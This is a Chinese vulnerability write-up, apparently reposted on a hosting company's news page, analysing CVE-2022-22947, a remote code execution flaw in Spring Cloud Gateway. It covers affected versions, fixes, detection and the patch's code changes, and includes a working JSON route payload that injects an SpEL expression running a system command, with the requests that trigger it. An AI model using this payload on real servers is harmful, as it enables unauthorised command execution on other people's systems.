安全播报

防御吧作为15年知名老牌域名服务商,CNNIC和CANN双认证域名注册商,已经
持续为500多万个域名提供服务,包括智能DNS/自由转移/隐私保护等服务!
CVE-2022-22947 远程代码执行漏洞复现分析
2022-03-10 11:21:37 【

    前段时间有篇文章[^1]披露了开源项目 Spring Cloud Gateway 的一个远程代码执行漏洞,编号为 CVE-2022-22947。

        受影响版本

 根据 VMWare 和 Spring 的官方公告[^2][^3],受影响的版本为:

                3.1.0                 

             3.0.0 到 3.0.6        
        

            

             旧的不受支持的版本也受影响        
        

    

        修复方案

        修复方案有:

        

             3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。                 

        

             在不影响业务的前提下,通过将配置选项 management.endpoint.gateway.enabled 设置为 false 禁用 gateway actuator endpoint。                 

    检测思路

        流量检测:分析 HTTP 流量,检测是否存在异常访问 actuator gateway API 的请求。

        主机端:

       静态检测:通过对比修复前后 ShortcutConfigurable.class 文件的区别指定特征码,根据特征码编写 yara 规则,以查找服务器上是否存在受影响版本的 spring-cloud-gateway jar 包。        动态检测:查找服务器上正在运行的 Java 进程,检测其是否加载了 spring-cloud-gateway jar 包。        

    漏洞分析

        目前已公开的漏洞分析文章都在分析 3.x 版本,为了确认 2.x 版本也受影响,本文对 2018 年发布的 Finchley.RELEASE 版本进行了分析,Spring Cloud Gateway 的版本为 2.0.0.RELEASE。

     环境搭建

        演示项目代码已上传到 GitHub 仓库。

        项目中,通过配置文件定义了一个路由。启动项目后,访问 http://localhost:8080/ip,如果一切正常,则会得到以下结果:

        

        利用方法

        以 POST 方法请求 /actuator/gateway/routes/pentest,并提交以下数据,用于创建一条恶意路由:

    {  "id": "pentest",  "filters": [    {      "name": "AddResponseHeader",      "args": {        "name": "X-Request-Foo",        "": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(getRuntime().exec(new String[]{\"wh\"}).getInputStream()))}"      },      "uri": "http://httpbin.org/get",      "predicates": [        {          "name": "Method",          "args": {            "_key_0": "GET"          }        },        {          "name": "Path",          "args": {            "_key_0": "/pentest"          }        }      ]    }  ]}

        

                        id 字段指定新路由的名称,必须全局唯一。                 

             

                        filters 字段给这条路由指定若干个过滤器。过滤器用于对请求和响应进行修改。                 

                

  name 字段指定要添加的过滤器,这里添加了一个 AddResponseHeader 过滤器,用于 gateway 给客户端返回响应之前添加一个响应头。                                 

                                  

                                args.name 字段指定要添加的响应头。                         

                              

                                args.value 字段指定响应头的值。这里的值是要执行的 SpEL 表达式,用于执行 whoami 命令。注意需要将命令输出结尾的换行符去掉,否则过滤器执行时会抛出异常说「响应头的值不能以 \r 或 \n 结尾」。                         

                            

                                uri 字段指定将客户端请求转发到 http://httpbin.org/get。                         

                           

                                predicates 字段指定匹配此路由的条件。这里指定了两个条件,一个是请求的方法为 GET,一个是请求的 URI 为 /pentest。                         

                         

        有关其它 actuator gateway 的 API,可查看官方文档[^7]。

        

        接着以 POST 方法请求 /actuator/gateway/refresh ,用于刷新路由,使刚添加的恶意路由生效。

        最后以 GET 方法请求 /pentest,触发恶意路由。在响应中可以看到过滤器添加的响应头:

        

        修复方案分析

        代码修复方案

        首先在官方仓库中查看为了修复漏洞的 commit[^4]:

        

        在 ShortcutConfigurable 接口中的 getValue 方法中,使用自定义的 Gatewayeva luationContext 类替换了原来的 Standardeva luationContext 类。查看 Gatewayeva luationContext 类的实现可知,其是对 Simpleeva luationContext 类的简单封装。

        通过查询文档可知,Standardeva luationContext 和 Simpleeva luationContext 都类是执行 Spring 的 SpEL 表达式的接口,区别在于前者支持 SpEL 表达式的全部特性,后者相当于一个沙盒,限制了很多功能,如对 Java 类的引用等[^5][^6]。因此通过将 Standardeva luationContext 类替换为 Gatewayeva luationContext 类,可以限制执行注入的 SpEL 表达式。

        禁用 actuator gateway

        通过前面的漏洞利用过程可以看到,首先需要通过 /actuator/gateway/routes/{id} API 创建一条路由。因此将此 API 禁止,也可实现漏洞的修复。根据 Actuator 的 API 文档[^7]可知,启用 actuator gateway 需要设置以下两个配置的值:

    management.endpoint.gateway.enabled=true # default valuemanagement.endpoints.web.exposure.include=gateway

        因此只要这两个选项不同时满足,就不会启用 actuator gateway。

        漏洞分析思路

        以 ShortcutConfigurable 接口开始,通过 IntelliJ IDEA 可以看到,大多数内置过滤器都继承了 ShortcutConfigurable 接口。其次,RouteDefinitionRouteLocator 类(org/springframework/cloud/gateway/route/RouteDefinitionRouteLocator.class)的私有方法 loadGatewayFilters 中调用了 ShortcutConfigurable 接口的 normalize 方法:

        

        

        通过简单的回溯,RouteDefinitionRouteLocator 类的公有方法 getRoutes 最终会调用 loadGatewayFilters 方法,调用链为:

    loadGatewayFilters() -> getFilters() -> convertToRoute() -> getRoutes()

        因此 /actuator/gateway/routes 这个 URI 也会触发 SpEL 表达式的执行。

        再仔细看下 loadGatewayFilters 方法的关键功能:

        

                        参数 id 为路由的名称,也就是定义路由时参数 id 的值。参数 filterDefinitions 为该路由中定义的过滤器对象数组。                 

                         

                        方法遍历过滤器对象数组:                 

                              

                                        检查指定的过滤器是否存在。不存在则抛出异常 Unable to find GatewayFilterFactory with name。                                 

                                   

                                存在时,获取过滤器的参数,并打印 debug 日志 RouteDefinition {id} applying filter {args} to {filter}。                         

                           

                                调用 normalize 方法,如果参数的值是 SpEL 表达式则执行,不是则直接返回。                         

                             

                                使用处理后的参数创建配置对象,然后使用过滤器工厂创建过滤器实例并保存到数组中。                         

                  

        2.x 与 3.x 版本的区别

        在产生漏洞的核心点上,二者没有区别,都是 ShortcutConfigurable 接口的 getValue 方法中使用了 Standardeva luationContext 类来执行 SpEL 表达式。

        第一个区别在于,2.x 版本在刷新路由后需要额外一次请求才能触发 SpEL 表达式的执行。而 3.x 版本在刷新路由后会立即执行。

        第二个区别在于对此方法的调用链。通过查找源代码可知,只有 ConfigurationService 类的内部类 ConfigurableBuilder 的 normalizeProperties 方法(重写了父类中的方法)中调用了 normalize 方法。而 ConfigurableBuilder 类继承自内部抽象类 AbstractBuilder。AbstractBuilder 类中有一公有方法 bind 调用了 normalizeProperties 方法。

        继续跟进对 bind 方法的引用,可知有三处:

  •            

                            AbstractRateLimiter 类的 onApplicationEvent 方法。                 

                       

                            RouteDefinitionRouteLocator 类的 loadGatewayFilters 方法和 lookup 方法。                 

                

            然后继续回溯可以知道所有有可能触发 SpEL 表达式执行的地方。

            

】【打印关闭】 【返回顶部
分享到QQ空间
分享到: 
上一篇CVE-2022-0847 漏洞分析 下一篇Spring Cloud Gateway 远程代码执..

立足首都,辐射全球,防御吧专注云防御及云计算服务15年!

联系我们

服务热线:010-56157787 ,010-56159998
企业QQ:4000043998
技术支持:010-56159998
E-Mail:800@fangyuba.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解决防御与加速) 版权所有 增值许可:京B2-20140042号
售前咨询
公司总机:4000043998 01056155355
24小时电话:010-56159998
投诉电话:18910191973
值班售后/技术支持
售后服务/财务
备案专员
紧急电话:18610088800